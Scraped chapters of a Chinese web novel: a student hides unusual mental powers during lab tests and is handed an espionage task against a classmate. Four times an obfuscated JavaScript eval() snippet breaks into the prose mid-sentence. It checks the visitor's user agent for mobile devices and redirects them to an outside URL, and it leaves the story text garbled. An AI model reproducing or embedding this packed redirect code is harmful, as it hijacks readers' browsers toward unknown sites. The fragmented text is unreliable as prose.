见简初不回话，男生好像是确定了什么，他露出一个隐秘的微笑，接着面露担忧：“虽然师姐一直没有什么进步，但程老师还是很看重你的，你看我的数据比师姐更好，但是老师对我凶多了。” 说完，他还看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12018279|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似委屈地瘪瘪嘴。 大兄弟，绿茶味儿太浓了啊。 简初露出一丝平和的假笑：“师弟知道就好，老师对你这次的情况不满意，你可得夹着尾巴，别被逮到教育一顿。” 男生似乎没想到简初会是这个反应，一时语塞，简初不再注意他，而是昂着头继续光明正大偷看屏幕上的数据，顺便巩固一下自己临时抱佛脚学习的内容。 莫景的数据比这个男孩好得多，不过之前她没喊自己师姐，只可能是对方还没到能选导师的年级，但明显程源对她很满意，不出意外已经提前确定了师门。 “好了，简初你过去吧。” 检测过得很快，莫景走过来，欲言又止地看了她一眼，简初茫然地歪歪头，果不其然又看到对方失望的表情。 这是第三次了，所以自己到底做了什么对不起她的事？ 简初思索了两秒，试探开口：“呃，你很厉害，快去休息一下吧。” 话音刚落，就见对方陡然抬头，眼睛亮亮的，用力点点头：“嗯！学姐也加油！” 呃，看不出来居然是这种性格。 “简初，快点。” 在催促下，简初走到茧型舱前，快速打量了几秒，然后躺了进去，在医院里做体检的熟悉感涌上心头。 舱门合并，耳边突然传来奇异的嗡鸣声。 核……核磁共振？ 下一秒，眼前突然变得一片黑暗，程源的声音从耳边传来。 “尽全力调动你的精神力，我看看你这个月有没有进步一点。” 简初微微合上眼，小心地调动出精神力，数据屏上的峰值稳步上升。 “嗯，这次不错，很稳，继续，我看看上限有没有提高。” 简初现在的当务之急是尽力维持好原本的形象，万幸在她之前有两个人的数据作为参考，不会因为心里没底而暴露些什么。 图谱峰值达到了一个全新的高度，接着开始出现上下波动。 “比上次略微好了一点，唉，再坚持一会。” 耳边程源的话音有些失真，不过语气里的失望还是很明显，这反而让简初松了一口气。 又过了十几秒，终于得到测试结束的指示。 简初迅速收回精神力，闭了闭眼，精神有些萎靡地从检测舱内出来，在场的人神情各异，她恹恹地坐在一边，对上莫景担忧的眼神，露出一个勉强的笑容。 有人伸手拍了拍她的后背，简初以为是莫景，扭过头想要表示谢意，却看到了身后一闪而过的半透明影子。 我嘞个去！ 简初全身过电一般打了个哆嗦，差一点从原地跳起来，只见小触手精神抖擞地扒在她肩头，似乎对周围十分好奇。 他们并没有什么奇怪的反应，只有莫景因为简初抖了一下，而投来了目光。 简初万分庆幸自己已经从检测舱出来，要是在里面发生这样的事，她可不知道该如何收场，不过她并没有让小触手出来的念头，它是为什么会突然冒出来？ 上一次它主动出现，还是因为方何欣对自己使用异能，难道这里也有什么情况？ 小触手像只小蛇一样仰着头，它四处点了点，像是在吐信子，没过半分钟，它就失去兴趣，迅速缩了回去。 简初：“……” 看不懂，但表示尊重。 22. 灯下黑（22） “今天的检测结果都了解了吧，不清楚的回头再找小冯问问。”程源说道，他身边的白大褂闻言向众人点头示意。 简初看了眼，他胸口的牌子上写着“研究员冯聿”几个字，照片里的人看起来很有精神，头发也比现在多。 “这次检查的情况还是没能达到我的期望，你们还是要继续努力啊，” 程源表情严肃地扫视了一圈，见众人都微微低着头，看起来像一串霜打的茄子，无奈摇摇头，“明天五年级的就要上实验课了，你们几个留下，让伊森示范一下，其他人想看的也留下来。” 他关掉数据屏，从座位起身，伸手锤了锤腰。 “都不走？学习态度还不错，到隔壁来吧。” 众人闻言，紧跟着转移到隔壁房间。 这个房间里面已经有好几个工作人员，最显眼的是一个穿着黑金制服的人，他坐在中间的医疗座椅上，跟伊森打了个招呼，看起来两人很熟，应该是请来做示范的。 “开始吧。” 程源找了个位置坐下，把场地留给了他们俩，工作人员拉着各色的繁杂贴片线路，固定在中间的两人身上。 “为了你们更直观地观察，所以借助了工具，机会难得，仔细看着。” 程源打量着周围学生们的表情，满意地点了点头，“你们之前都用其他动物练习过，但没有给人做过精神疏导，这个工作不容有失，你们要对自己和他人的安全负责。” 简初找了个视野不错的位置，莫景紧接着在她旁边坐下。 “我开始了。” 伊森往前微微挪动了一点，接着伸出两只手，捏住了另一人的太阳穴位置。 “通过接触，有效增加精神链接的稳定性。”一旁的工作人员适时开口解释，这些都是书本上的内容，但现场看起来更加直观。 下一秒，简初就看见旁边的数据屏上，原本平静的图谱突然抖了抖，没过两分钟就出现规律的波动，这说明两人的精神力链接成功。 接下来，中间的两人一直保持着如此的动作，只有图谱不断变化，配上那位工作人员棒读式的步骤解读，简初无声地叹了口气。 就跟她做手术一样，步骤都是那些步骤，但不同的人会有不同的判断，也会采取对应的不同措施，精神疏导也是一项很看重经验和个人能力的工作。 整个演示过程古井无波地结束了，甚至称得上十分枯燥。 “知道你们没看懂，不过对整个流程应该有些体会了，今天就到这，五年级的明天上课会具体来讲，其他人还是先打牢理论基础。” 程源并不意外，一脸淡定地下了逐客令，工作人员友好地请他们离开。 除了伊森，被单独留下了。 房间的门缓缓关上，简初透过巨大的玻璃窗最后往里头看了一眼，里面的人正在说着什么，没有注意这边。 “学姐？” 一道喊声拉回了简初的注意力，她侧头看过来：“抱歉，我刚刚走神了。” 莫景抿抿唇，她看学姐表情好像不开心，就说了一句安慰的话，但刚说出口就觉得不合适，幸好对方没听见。 “……我，我想问要不要一起去食堂吃饭？”她艰难地憋出一句话，也没指望简初会同意，只是想要转移话题。 “好啊。”简初点点头。 “嗯，那我自己……啊？”莫景眼睛睁得圆溜溜，像一只受惊的小猫，“一起……一起去食堂吗？” “嗯。”简初茫然歪歪头，“不是你说要去的吗？” 比起旁边的绿茶弟，莫景要可爱得多，不过她很好奇自己之前到底做了些什么，才让对方这么纠结。 时间尚早，食堂没什么人，于是简初再次来到了小火锅的窗口，虽然它看起来着实很像麻辣烫，但还是比其他食物更有吸引力。 莫景呆呆地看着简初面不改色，手上唰唰点了一堆食材和爆辣，下意识咽了咽口水。 “学姐，这么辣没问题吗？” “这才哪到哪，你看看你想吃什么，我请你。”简初将自己刚被扣了3000的事抛在脑后，大手一挥口出狂言。 “不用不用，我有钱的。” 似乎是为了证明自己的话，莫景伸出终端给简初看了眼，瞧见上面比自己多了一位的积分余额，简初陷入了沉思。 最终，莫景在万般犹豫之下，点了微微辣，还嘱咐厨师大叔少放点辣，得到对方一个无语的表情。 两人点完菜，找了个位置坐下，莫景有些拘谨地挪了挪位置，坐定不吱声了。 一片安静之中，隔壁学生的谈话声尤为突出。 路人甲：“我听我朋友说，今天虚拟对抗有个高年级的下来炸鱼塘，被举报了赔了3000分。” 路人乙L：“真的假的？这都什么年头了，还有这么蠢的人？” 无意识炸鱼塘的某人：“……” 简初难耐地挪挪屁股，思考该怎么用一个合适的理由换个座位，远离这两个八卦的人，却被莫景以为她对此感到好奇。 “学姐想知道吗？”她往前凑了凑，压低声音，似乎怕引起别人的注意。 “他们说的是真的，那场对抗我也参加了。” 简初：“……” 她的表情被解读错误，莫景以为她不信，伸出手来，给她看终端上的到账信息。 “一人200，一共罚了3000。” “呵呵，那人还真是倒霉，啊不，我是说活该。”简初咧咧嘴，说着违心的话。 “不过那人真的很厉害，我觉得被罚可能不是因为年级的问题，我们是对抗开始过了一会收到了难度提升的通知，所以我……同学出局之后就去举报了。” 丝毫不知道自己把人卖了的莫景继续说道。 “对抗开始之后还能提升难度？”简初面露惊讶，她可没有收到这种提示。 “我以前也没遇到过，但这次确实是这样的，大概对抗开始三分钟的时候收到的这条通知。”莫景解释道。 三分钟，大概是自己搜完地图的时间点，难道是因为自己知道了其他人的位置，信息差导致了不平衡，从而提升了难度。 那么问题来了，正常搜索地图应该能看到多大的范围？ 简初联想到刚刚在实验室检测精神力的状况，真切地感受到自己的精神力似乎有些超过了。 她这么想着，便含蓄地问了，莫景有些奇怪地看了她一眼：“我大概能探测周边五米范围内的情况，不过一部分原因是我运用还不熟练，但是因为是在乌托邦，所以又弥补了这一部分。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12037661|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老老实实说了实际情况。 “在现实也差不多就是这个水平，可惜坚持不了很久。” 简初可没忘记，莫景的检测情况比那个绿茶弟还要好，她觉得自己有必要了解一下现在的精神力发展最新水平了。 取餐的提醒打断了两人的交流，简初顺理成章结束了这个话题，两人安静地吃完饭，交换了通讯号，便各自回了宿舍。 …… “哟，你终于回来了。” 简初推开门，就看见秦理正在调整客厅墙上的一个展示架，见她回来，秦理拍拍手上的灰尘，招手示意她过去。 “当当！看，刚买的日程板。” 简初好奇地探出脑袋，看见数据板上已经写了秦理的日程安排。 “来，把你的课程表也录进去，还有日程安排也能加，咱们说好要安排体术训练的，这样好安排时间。” 秦理说着，往后拉了两下，傅燃和左虞珩的日程表依次出现，她伸手指了指其中写了“课外训练”的大块日程，“这是我们几个训练的时间，你有空的时候可以看这个摇人，还有还有，空闲时间你要是想训练也可以喊我。” “哇，这么贴心。”简初眼睛微微睁大，“这样不好吧，会不会影响你们平时的训练安排。” “不会不会，不过我们有别的事情要你帮忙啦！”秦理友好地凑过来，脸上露出狡黠的笑容，“我跟傅燃都选上了你们的实验课，你到时候多多照顾我们呀。” “呃，不用你说我也会的，就是……”简初有些心虚地想到了自己房间里还没看完的教科书，清了清嗓子。 “你同意就行，今天下午有没有事，一起训练？”秦理此刻看起来格外兴致高昂，似乎有使不完的牛劲。 “你上午不是有课，下午还训练啊？”简初赶紧一脸为难地开口，“我下午有事，要准备明天实验课的内容，下次吧。” “好吧，那我去吃饭了，你应该吃过了吧。” “嗯，你快去吧。” “走了走了，你别忘了把你的日程排进去啊！” 终于送走了神仙，简初长出了一口气。 这姐们完全打破了自己对她的第一印象，原来不是个酷姐，而是话唠吗？ 她凑近日程板，好奇地翻阅了一下这三个人的日程，然后默默打开了自己的课程表。 作战学院的都是活神仙啊。 简初对着自己的终端苦思冥想，终于找了几个合适的空闲时间，填入了一些看似很合理的课外学习安排，来保证自己的血条能够处在一个比较健康的范围内。 不过模拟大赛还有不到一个月就开始了，熬过这段时间就好了，但是时间越短也就意味着简初的训练任务越重，她又纠结了两秒，忍痛删掉了一个“课外学习安排”，导入了日程。 虚构对抗被禁赛了一周，这段时间肯定要侧重别的，等一周之后，再安排它的时间。 简初看着面前变得密密麻麻的日程表，微微垮下肩膀，拖着脚步走进了房间。 她现在得先研究一下，自己的精神力到底是什么情况。 “嘀——” 门把手识别了掌纹，简初顺利打开房门，她随意在屋子里瞟了一眼，下一秒寒毛直竖，僵在了原地。 “啊，你回来了。” 23. 灯下黑（23） “等了你有一会了。” 一个年轻男人正站在她书桌前，双手背在身后，打量着她桌上合上的书本，说他不请自来，但又很讲礼貌地没有触碰她的东西。 “怎么这个表情，虽然是第一次见面，但是交流这么多次了，不会认不出来吧？” 他笑了笑，回头坐在她床边。 “别坐那。”简初皱眉，连她自己都得换了睡衣才碰床上的东西，“坐那边去。” “啊，有什么关系，反正又不是实体。”年轻人无所谓地抱怨了一声，就看见对面的女孩表情不好看地盯着他，举起手做投降状，“好好好，我坐那边。” 刚刚站起来，他就突然回过味来。 不是，他为什么要这么怂？ 他“嘶”了一声，刚回过头想要反驳，但还没等开口，就看见女孩走上前掸了掸床单，一脸嫌弃：“有什么事要这么说，不是说好等任务通知的吗？” 她的目光从桌上一个小方块上略过，它在台灯的照射下并没有任何阴影，她笑了一声，伸手指了指他脚下。 “这就是你叫无影的原因吗吗？” “才不是！”无影反驳道，意识到对方只是开了个玩笑，努力冷静下来，“你倒是接收很快。” 他伸手捏起桌上的小方块：“这次有三件事，第一，这是你的信物，过两天会邮寄给你，你回头仔细翻翻包裹，可别给丢了。” “第二，你觉醒异能了，为什么不上报给组织。” 他似笑非笑地瞧着简初，一点都没有之前任务里没什么脑子的焦躁模样。 简初面不改色地抱胸看过来：“没必要，组织反正早晚会知道。” 她挑了挑眉，“事实也确实如此。” “嗯哼，没想到你还这么有想法，试探组织可不是个好选择，不过看在你是新人，这次就算了。”无影给她的行为找了一个非常合理的理由。 其实简初并没有想到，温弗拉可以做到这种地步，她的本意其实是隐瞒组织，但现在看来，幸好她选择了【快速恢复】这个异能来登记，其他几个指向性太明显，绝对会引起怀疑。 而温弗拉知道这些，不是有探子，就是靠技术黑进来，不，也许不是技术。 她若有所思地打量着无影有些虚幻的身影，很像是信号不好而出现的条纹。 “你还能坚持多久。”简初指了指他，“还有一件事，不说就来不及了。” 无影低头看了一眼，有些烦躁地皱皱眉，简初见状微微勾起唇角，看来对方的本质还是比较急躁的那一类人。 “剩下时间不多，你仔细听着。” 而且还没什么城府，简初几乎已经确定，无影能到这里来是因为他的异能。 “组织的下一个目标是伊森·斯塔，他手上有我们需要的东西，你要做的是在模拟大赛之前，打听出东西在哪儿，不管用什么方法，后续等组织再计划。” 简初哼笑了一声：“首先，组织应该知道我跟他关系很差，人家根本不搭理我，其次，你们要的东西长什么样子，有什么作用，不说清楚怎么弄。” 没有给无影说话的机会，她继续开口：“不管怎么样，我必须要知道任务过程中的风险，要是那玩意有什么自毁装置，那我不是找死？” “……”无影沉默了片刻，开口道，“几天没联系，转性了？脑子灵活了不少啊。” “呵，比你好点。”简初呛声。 无影语塞，他挠挠头烦躁地叹了口气：“在我的权限里，只能告诉你，第一，这个任务不止你一个人在做，一旦有目标物品的消息，团队内……也许会共享，第二……啧，物品是斯塔集团最新的秘密研究产物，可以强化身体素质，但具体的外形和详细作用还不清楚。” 简初不说话，只是看着他。 “就这些了，真的，以你的权限已经知道的够多了，一旦有进展老样子联系我。”无影伸手指了指她的终端，“正式成员的权限已经给你了，不用担心会被AI发现，但是注意别被人看到，就这样。” 下一秒，他仿佛逃跑一样，消失在原地。 简初伸手在课桌上的监控装置前晃了晃，没有任何反应，过了好一会，圆环才慢慢亮起，恢复了工作状态。 按照无影所说，还有其他人跟自己一起开展这个任务，但并没有要求大家协作，明显温弗拉是打算多管齐下，伊森·斯塔这边算一个，斯塔集团的其他高层或许也有人来突破。 可以强化身体素质的物品，难道是某种药剂？ 不得不承认，简初对这个有点兴趣，要是能提高身体素质，自己后面的计划会顺利得多。 当然，是在确保安全的前提下，研究产物听起来就像有缺陷的样子，可不敢随便用。 看来，自己得想办法缓和一下跟伊森的关系，那么问题来了，她现在根本不知道两人的矛盾来源于何处，总不能把对方绑架了，逼问目标物品的下落吧。 总之，这件事情急不起来，还需要从长考虑，她记得伊森有一个很忠实的小弟，要不就先从他下手吧。 等等，那人叫什么来着？ …… 实验课的人明显比理论课少了很多，不过因为学院的实验室空间有限，所以看起来还是有点拥挤，跟昨天的研究所实验室比起来，这里要寒酸不少，毕竟不是一个量级的，上课在这里也够用了。 简初四处看了看，又瞧见之前那个男孩子，他还是一副相看两相厌的模样，不过简初却异常开心地向对方招了招手。 “哈喽，同学，又见面了。”简初笑眯眯，“李……同学，是吧，今天伊森·斯塔没来吗？” 她抻着脖子，又四处看了看，确实没看到目标人物。 李维西原本还因为简初记不得他的名字感到气愤，闻言立即变了一副脸色，相当警惕地往后退了一步。 “你想做什么，我警告你，不要打伊森哥的坏主意！” “哎哎，大家都是同学，怎么会呢。”见人没来，简初兴致缺缺地摆了摆手，“快找位置，马上上课了。” 各个学院之间还是坐得泾渭分明，不过看起来很多人都互相认识，招呼打个不停，简初往后看了一眼，就瞧见秦理将手举在脸旁边，微微向她招了招，一旁的傅燃也朝她点点头。 简初无奈转过头，脸上却不禁露出笑意，这个场景让她想起了以前念书的时候，虽然很辛苦，但总有美好的回忆。 周围声音突然变小，简初抬起头一看，就见到程源带着几个人走进了实验室，因为担心后排的人看不清，两侧的虚拟投屏也展开了。 “今天第一节课，我亲自来上，后面的会有冯聿博士和曲艺博士来指导你们，我会时不时来抽查，不要掉以轻心。” 大概是因为忙得很，程源上来就开门见山，一点都不拖沓。 “本学院的同学，上来领取便携式检测仪，一人一台，本学期课程结束后统一回收麻烦妥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12052599|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 善保管，遗失后果自己负责。” 简初听到旁边有人窃窃私语。 “这东西听说可贵了，弄丢了得自己买一台赔。” “这么严重，那不如每节课用完收回去得了。” “谁知道呢。” 简初表情凝重地看向发到自己手里的仪器，这可能是现在自己手里最贵重的东西了，要知道她的存款可比校内积分余额更加可怜。 “上节课说了，1V2自行组小组，给你们两分钟，按组坐好，剩下没组好的我就随机分配了。” 闻言，李维西露出一丝假笑，朝简初看了过来：“我倒要看看，能有谁和你……” 他话还没说完，就看到三双眼睛直溜溜地盯过来。 “李同学，你要看什么？”简初露出一丝和蔼可亲的微笑，显得她身后的两个穿着黑金制服、面无表情的人看起来更加可怕了。 秦理&傅燃：我们只是天生不爱笑。 李维西：“……” 他嘴唇动了动，没了声音。 “你们三个，你们三个……都分好了吧，以前那些基础我就不再重复了，能升到五年级大家的理论水平都是有的，现在，本院的学生，将仪器装到自己身上。” 简初昨天晚上熬夜把教科书看完了，所以她很清楚这一步的目的——检测治疗人员的精神力是否处在健康、稳定、活跃的状态。 只有通过这一步，才能开展后续的，针对他人的精神疏导。 按照书上的说明，简初准确快速地装好了仪器，程源从她旁边走过去，看了一眼没什么问题，便去检查其他学生的了。 奈斯！ 简初默默给自己竖了大拇指，又成功混过去了。 “没问题的继续操作，自我检查都教过，我看看放了个假还记得多少。” 这熟悉的检查功课的口吻，让简初梦回当年。 秦理和傅燃一左一右，目光炯炯地盯着中间的简初，似乎要在她脸上盯出一朵花来，简初左右瞟了瞟，索性闭上了眼，反正这两人也看不明白，她毫无心理压力。 面前的仪器标盘跳了跳，一下子飙到了顶。 “哇哦。”秦理小小地用气声惊呼，傅燃也微微睁大了双眼。 简初干咳一声，偷偷睁开一只眼看了下，很快，图谱在正常的区间内稳定地波动着。 程源再次从简初身边经过，确定没问题，又离开了。 这一次，其他人就没那么顺利了，有好几个学生的表盘上跳出了五花八门的图案，甚至有人的表盘上画了一只狗子。 简初：“……” 这是什么技术，让我看看，想学。 “都说了，精神放空放空！你们都在想什么乱七八糟的东西。”程源怒骂出声。 原来想点别的就行，简初若有所思。 于是左右护法眼睁睁看着中间的人一脸深沉，紧紧盯着跳动着图谱的表盘，在上面画了一只歪歪扭扭的火柴人，紧接着在旁边又画了两只。 简初表情严肃地指着，抬头分别看向两人。 “你。”指向左边。 “你。”指向右边。 “我。”指向中间。 紧接着，她露出有些羞愧的表情，在旁边加了个方框，里面是一个孤单的哭泣脸火柴人。 “还有小左，完美。” 秦理&傅燃：“……” 所以我们该夸夸她吗，在线等，挺急的。 24. 灯下黑（24） 左右护法麻木地看着简初在仪表盘上倾情作画，都要把火柴人画出花儿来了，才等到程源开口。 “糟心玩意，你，你，还有你，坐到这边来，我倒要看看你们成天不好好学习在想些什么，其他人，开始下一步。” 程源无情地点出几个浑水摸鱼的学生，单独拎在一边，由他带来的助理指导，又背着手四处转悠起来，他每经过一个人，就能看见学生的动作变得僵硬起来。 “唔，你俩谁先来。” 简初从自己脑袋上摘下贴片，身体往后仰了仰，让左右两边的人有个可以正面交流的机会。 也许正在回味满屏火柴人的盛况，两人都保持了沉默，简初歪歪头，敲了敲桌子。 “别怕啊，我不会在你们脑子里画火柴人的。” 左右护法的身形看起来矮了一截。 实验室内，静默不动的不止是他们一组。 作战学院的学生们倒不是第一次做检查，他们这些用异能的或多或少都去校医院做过检查，虽然年轻使用异能的次数很少，但是没有人会不重视自己的身体情况。 校医院的老师好歹都有些经验，而现在自己身边的同学都是新手，他们不免生出一种身为小白鼠的恐慌。 “我知道你们在犹豫什么，说句不好听的，校医院的那些人以前都是学院的吊车尾，现在坐在这间教室里的，以后最差也不过是去校医院做治疗师，有什么好担心的。” 程源已经习惯了，每年上实验课都要来这么一出，他倚靠在讲台上，开口继续劝说。 “你们多少都自己学了点，精神疏导只会带来正面的疗效，不过是疗效好与差的问题，就算彻底、完全的失败，也只是头疼一会，我都说这么明白了要是还有人怕，我建议直接退课，想来上课的人多了，在这扭扭捏捏。” 他皱着眉，目光扫视过每一张脸。 “没人退课？那就开始吧。” “今天先做普通检查，别的不急着上手，你们都年轻，也不会有什么大问题。” 看见旁边已经有人开始动手，傅燃有些不安，他抬眼看了简初一下，舔了舔唇开口：“我……来吧。” “好哦。”简初闻言，侧过身转向他，接着微微睁大了眼睛，“你不要这么紧张啊，脸都有点……”发白了。 “还是我先来吧。”秦理打断了简初的话，“你看他，估计还要做一会心理建设。” “也行。”简初无所谓地再次转过身子。 “抱歉，我不是因为……”傅燃干巴巴地解释道，下一秒就看见简初“啪叽”把手贴在了秦理脸上，他的脸更白了。 “哦~你看他的脸。”秦理看热闹不嫌事大，被简初捏上了嘴。 “安静，闭眼。” 秦理乖乖闭上了眼，任由简初把仪器的贴片放到她脑袋上。 “我要开始了，放轻松。” 精神力慢慢悠悠地往前涌去，一路几乎畅通无阻，很快抵达了精神核心，简初从书上看过模拟图，但第一次感受到它的存在，还是觉得很神奇。 精神核心并不是一个实质的器官，而更类似一个概念，但她此刻却能清晰地“看见”它。 简初感觉自己此刻飘飘忽忽，好像沉浸在一汪温暖的潭水中，周围看起来又像是星空，只有她独自一人漂浮在空中，低下头便能看到在自己下方的“星体”。 秦理的精神核心正发出淡绿色的光晕，巨大的光团好像在呼吸一样伸缩，简初的精神力安静淌过去，将它包围起来，又一点点渗进内部。 傅燃在一旁盯着仪器，上面的图谱规律波动着，没有任何变化。 还没开始吗？ 正当他这样想着，面前的两人同时睁开了眼。 “好啦，你感觉怎么样？”简初紧紧盯着秦理的脸，看起来很期待她的评价。 “啊，呃……好了吗？”秦理小声叨叨，“没什么感觉啊？” “应该有什么感觉吗？”简初努力回想昨夜看的书本上的内容，“顺利的话就是没有感觉的，有感觉的话说明你在抗拒。” 她煞有介事地点头，看得人一愣一愣的，几秒后秦理恍然大悟。 “原来是这样，怪不得校医院的老师给我做的时候，总感觉脑袋胀胀的，看来是因为不熟所以有些抗拒，还得是你！” 傅燃：“……” 骗骗自己就好，别把别人也骗了。 “轮到你了！”简初兴致勃勃地把贴片举到他面前，刚刚的体验很新奇，她这会有点上头。 傅燃微微向后仰了一下，深吸了口气，又英勇就义般往前挪了挪。 “来吧。” 傅燃闭上眼，感受到冰凉的贴片覆上额头，紧接着脸被人托住，两根手指贴在自己太阳穴。 秦理拖了椅子坐在中间，好奇地左右看着，就差手里抓一把瓜子了。 简初的意识迅速下沉，顺利进入了傅燃的精神核心。这里和秦理的没有什么区别，不过下方的星体呈现出淡淡的金黄色，大概是因为异能的属性不同，呈现出来的光彩也不同。 不过简初总感觉有些不对劲。 她“环顾四周”，打量着周围黑沉沉的天幕，这里似乎比秦理的空间要小。 不过书上并没有提及这部分内容，应该是正常的，她才看过两个人，就这么草率地对比，实在是有些不负责任。 简初控制着精神力包裹住中央的星体，缓缓渗透进去。 很干净、很稳定，没有问题。 正当简初看了一圈，准备退出的时候，一根巨大的半透明触手突然从她背后冒出来，它甫一出现，就直直向中央散发着光芒的“星体”窜了过去。 “嚯！”简初猛然睁开眼，在千钧一发之际退出了链接状态。 “怎么了？”秦理皱着眉凑过来，感受到简初的手离开，傅燃也睁开了眼。 “有什么问题吗？” 简初感受到后背的冷汗顺着脊背流下，她有些不安地动了动：“没事，断开得有些快，我没反应过来。” 岂止是有点快，要不是她手脚利索，小触手能在里面搅个天翻地覆。 “你感觉还好吧。”简初瞧了一眼仪器表盘最后一截不寻常的波动，有些忐忑地问。 傅燃脸上露出一丝空白的茫然。 刚刚睁眼的一瞬间，他好像从一个神奇的视角看见了自己茫然的表情，再一眨眼，就看到近在咫尺的关心的眼神。 他好像短暂透过简初的眼睛看到了自己？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12073923|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但是现在，那个一闪而过的画面已经开始迅速褪色，不过几秒钟，他现在已经什么都想不起来了，只剩下“刚刚看到了些什么”的印象还存在着。 除此以外，没有任何感觉，跟之前做的所有精神疏导都不一样，这是他第一次如此平静地接受检查。 “嗯，确实……没什么感觉。”他看着简初将贴片取走，犹豫着开口。 “那就好，啊不是，我是说，”简初清了清嗓子，“那就这样了。” “吓我一跳，没事就好。”秦理拍拍简初的肩膀，两人凑在一起，指着表盘的波动情况说起话来。 简初龙飞凤舞地在报告上写了“一切正常”四个大字，然后心满意足地在座椅上葛优躺。 这是一个未知的新领域，而她现在对此充满了好奇，这种感觉使她精力充沛，想要继续研究下去。 “感觉怎么样？”程源看她动作，走过来拿起桌面上的两张纸。 “你就写了这个？”他一脸不敢置信，反复在简初的脸和手里的纸上来回打量，“想偷懒也有个限度！过程呢？描述呢？体会呢？你就写四个字交差？！” 程源的嗓门逐渐增大，周围一圈学生都朝这里投来了目光，隔了两桌的李维西表情不屑，看起来尤其突出。 没有给简初解释的机会，程源将纸重重扔在桌上，两张纸打了个卷，轻飘飘地落在地上。 “你去找伊森拿他以前写的报告，好好学学，以前学的都喂狗肚子里了！” 简初：“……！” “好的老师，谢谢老师，我一定会找师兄好好学习的！” 简初笑眯眯开口，惹来左右护法奇怪的视线，而隔壁的李维西更是怒目而视。 “你不要想着给伊森哥添乱！”他十分愤怒。 “怎么会，我是这种人吗？” 简初没跟他计较，她正愁怎么找机会和伊森接触，这不是瞌睡来了枕头，原来打算通过这小迷弟来接近的方案立刻被叉掉。 笑话，有了更方便的途径，为什么要舍近求远。 李维西丝毫没有意识到自己失去了利用价值，仍然在坚持不懈地输出，可惜完全被无视。 “维西……我们继续吗？”旁边的朋友拉了拉他胳膊，他才不情不愿地闭上嘴。 秦理对此啧啧称奇，她勾着简初的脖子，两个毛茸茸的脑袋凑在一起。 “怎么回事，你跟那个谁，伊森·斯塔，不是关系不好来着？” 简初透过秦理的眼睛看到了熊熊燃烧的吃瓜之心。 “没有的事。”她严肃摇头，手上忙碌地收拾起两张纸片，“我们是同门，怎么会关系不好呢？” 不是她不想吃瓜，实在是她也不知道两人关系为什么这么差。 傅燃看着简初把手里的两张纸叠了又展开，把边角对齐又交换了上下位置。 她看起来真的好忙。 实验课还算是顺利地上完，虽然程源大发脾气，不过大家看起来都还挺开心的，简初想了想，大概就跟自己第一次上化学实验课一样，比起理论，当然是实践更吸引人。 “赶紧去找伊森，别拖，明天我要看到你的新报告。” 程源最后给她扔下一句话，便带着白大褂们翩然离去。 25. 灯下黑（25） 不过简初的如意算盘落空了。 因为是程院长的学生，所以她拥有前往校内研究所七楼的临时权限，她一进门，就有面生的工作人员走上前来迎接。 “简初同学是吧？”他向简初确认了姓名和来意，便从一旁的抽屉里拿出一小叠报告来。 “这是程院长要求伊森，让我转交给你的。” 简初：“……” “呵呵，谢谢。”简初伸手接过报告，露出有些落寞的神情，看得这位工作人员都有些于心不忍，但是在他看来，伊森也不是那种无缘无故针对别人的人。 也许是有什么误会，这就不是他能插手的了。 “那个，师兄最近是不是很忙啊？”简初有些拘谨地开口，“如果不方便的话就算了，我走了。” 以退为进，就看对方接不接招了。 她转过身走了两步，终于听到身后传来声音。 “唉，你等等。”工作人员开口拦住了她，“你可别告诉别人是我说的，具体我也不清楚，伊森他在实验室的项目本来就很忙，最近他家里……斯塔集团你知道吧？” 看简初点点头，他继续说了下去。 “家里可能有什么事，总是喊他回去帮忙，所以实在是分身乏术，他要是有空一定会亲自来把报告交给你的。” 简初做出一副放心的样子：“师兄别对我有意见就好，请帮我转告他注意身体，啊不，还是算了。” 女孩脸上露出胆怯。 “还是别跟师兄说了，我怕他不高兴，要是骂你就不好了。” 工作人员刚想激情答应帮忙转告，立刻被“可能会挨骂”泼了盆冷水。 “你能理解就好，那我也去忙了，就不送你了。” “好，谢谢了。” 